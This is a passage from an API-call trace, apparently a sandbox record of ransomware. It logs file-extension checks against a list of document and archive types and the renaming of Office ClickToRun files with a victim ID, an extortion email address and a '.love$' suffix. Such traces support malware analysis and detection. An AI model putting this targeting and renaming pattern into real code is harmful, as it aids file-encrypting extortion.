shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.743] lstrlenW (lpString=".jpg") returned 4 [0228.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.743] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0228.743] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0228.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.744] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=21184) returned 1 [0228.744] CloseHandle (hObject=0x45c) returned 1 [0228.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0228.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.744] lstrlenW (lpString=".doc") returned 4 [0228.744] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.744] lstrlenW (lpString=".docx") returned 5 [0228.744] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.744] lstrlenW (lpString=".pdf") returned 4 [0228.744] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.744] lstrlenW (lpString=".xls") returned 4 [0228.745] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.745] lstrlenW (lpString=".xlsx") returned 5 [0228.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.745] lstrlenW (lpString=".ppt") returned 4 [0228.745] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.745] lstrlenW (lpString=".zip") returned 4 [0228.745] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.745] lstrlenW (lpString=".rar") returned 4 [0228.745] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.745] lstrlenW (lpString=".bz2") returned 4 [0228.745] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.745] lstrlenW (lpString=".7z") returned 3 [0228.745] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.745] lstrlenW (lpString=".dbf") returned 4 [0228.745] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.745] lstrlenW (lpString=".1cd") returned 4 [0228.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.745] lstrlenW (lpString=".jpg") returned 4 [0228.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.745] lstrlenW (lpString=".doc") returned 4 [0228.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.745] lstrlenW (lpString=".docx") returned 5 [0228.745] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.745] lstrlenW (lpString=".pdf") returned 4 [0228.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.746] lstrlenW (lpString=".xls") returned 4 [0228.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.746] lstrlenW (lpString=".xlsx") returned 5 [0228.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.746] lstrlenW (lpString=".ppt") returned 4 [0228.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.746] lstrlenW (lpString=".zip") returned 4 [0228.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.746] lstrlenW (lpString=".rar") returned 4 [0228.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.746] lstrlenW (lpString=".bz2") returned 4 [0228.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.746] lstrlenW (lpString=".7z") returned 3 [0228.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.746] lstrlenW (lpString=".dbf") returned 4 [0228.746] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.746] lstrlenW (lpString=".1cd") returned 4 [0228.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0228.746] lstrlenW (lpString=".jpg") returned 4 [0228.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.747] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0228.747] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0228.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.747] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19136) returned 1 [0228.747] CloseHandle (hObject=0x45c) returned 1 [0228.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0228.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.748] lstrlenW (lpString=".doc") returned 4 [0228.748] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.748] lstrlenW (lpString=".docx") returned 5 [0228.748] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0228.748] lstrlenW (lpString=".pdf") returned 4 [0228.748] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.748] lstrlenW (lpString=".xls") returned 4 [0228.748] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.748] lstrlenW (lpString=".xlsx") returned 5 [0228.748] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0228.748] lstrlenW (lpString=".ppt") returned 4 [0228.748] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.748] lstrlenW (lpString=".zip") returned 4 [0228.748] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.748] lstrlenW (lpString=".rar") returned 4 [0228.748] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.748] lstrlenW (lpString=".bz2") returned 4 [0228.748] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.748] lstrlenW (lpString=".7z") returned 3 [0228.749] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.749] lstrlenW (lpString=".dbf") returned 4 [0228.749] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.749] lstrlenW (lpString=".1cd") returned 4 [0228.749] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.749] lstrlenW (lpString=".jpg") returned 4 [0228.749] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.749] lstrlenW (lpString=".doc") returned 4 [0228.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.749] lstrlenW (lpString=".docx") returned 5 [0228.749] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0228.749] lstrlenW (lpString=".pdf") returned 4 [0228.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.749] lstrlenW (lpString=".xls") returned 4 [0228.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.749] lstrlenW (lpString=".xlsx") returned 5 [0228.749] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0228.749] lstrlenW (lpString=".ppt") returned 4 [0228.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.749] lstrlenW (lpString=".zip") returned 4 [0228.749] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.749] lstrlenW (lpString=".rar") returned 4 [0228.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.750] lstrlenW (lpString=".bz2") returned 4 [0228.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.750] lstrlenW (lpString=".7z") returned 3 [0228.750] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.750] lstrlenW (lpString=".dbf") returned 4 [0228.750] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.750] lstrlenW (lpString=".1cd") returned 4 [0228.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0228.750] lstrlenW (lpString=".jpg") returned 4 [0228.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.750] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0228.750] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0228.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.751] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19136) returned 1 [0228.751] CloseHandle (hObject=0x45c) returned 1 [0228.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0228.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.751] lstrlenW (lpString=".doc") returned 4 [0228.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.752] lstrlenW (lpString=".docx") returned 5 [0228.752] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.752] lstrlenW (lpString=".pdf") returned 4 [0228.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.752] lstrlenW (lpString=".xls") returned 4 [0228.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.752] lstrlenW (lpString=".xlsx") returned 5 [0228.752] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.752] lstrlenW (lpString=".ppt") returned 4 [0228.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.752] lstrlenW (lpString=".zip") returned 4 [0228.752] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.752] lstrlenW (lpString=".rar") returned 4 [0228.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.752] lstrlenW (lpString=".bz2") returned 4 [0228.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.752] lstrlenW (lpString=".7z") returned 3 [0228.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.752] lstrlenW (lpString=".dbf") returned 4 [0228.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.752] lstrlenW (lpString=".1cd") returned 4 [0228.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.752] lstrlenW (lpString=".jpg") returned 4 [0228.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.753] lstrlenW (lpString=".doc") returned 4 [0228.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString=".docx") returned 5 [0228.753] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.753] lstrlenW (lpString=".pdf") returned 4 [0228.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString=".xls") returned 4 [0228.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString=".xlsx") returned 5 [0228.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.753] lstrlenW (lpString=".ppt") returned 4 [0228.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.753] lstrlenW (lpString=".zip") returned 4 [0228.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString=".rar") returned 4 [0228.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.753] lstrlenW (lpString=".bz2") returned 4 [0228.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.753] lstrlenW (lpString=".7z") returned 3 [0228.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.753] lstrlenW (lpString=".dbf") returned 4 [0228.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.754] lstrlenW (lpString=".1cd") returned 4 [0228.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0228.754] lstrlenW (lpString=".jpg") returned 4 [0228.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.754] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0228.754] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0228.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.755] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=18624) returned 1 [0228.755] CloseHandle (hObject=0x45c) returned 1 [0228.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0228.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0228.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0228.756] lstrlenW (lpString=".doc") returned 4 [0228.756] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.756] lstrlenW (lpString=".docx") returned 5 [0228.756] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.756] lstrlenW (lpString=".pdf") returned 4 [0228.756] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.756] lstrlenW (lpString=".xls") returned 4 [0228.756] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.756] lstrlenW (lpString=".xlsx") returned 5 [0228.756] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.756] lstrlenW (lpString=".ppt") returned 4 [0228.756] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0228.757] lstrlenW (lpString=".zip") returned 4 [0228.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.757] lstrlenW (lpString=".rar") returned 4 [0228.757] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.757] lstrlenW (lpString=".bz2") returned 4 [0228.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.757] lstrlenW (lpString=".7z") returned 3 [0228.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0228.757] lstrlenW (lpString=".dbf") returned 4 [0228.757] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[im.online@aol.com].love$")) returned 0 [0228.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common 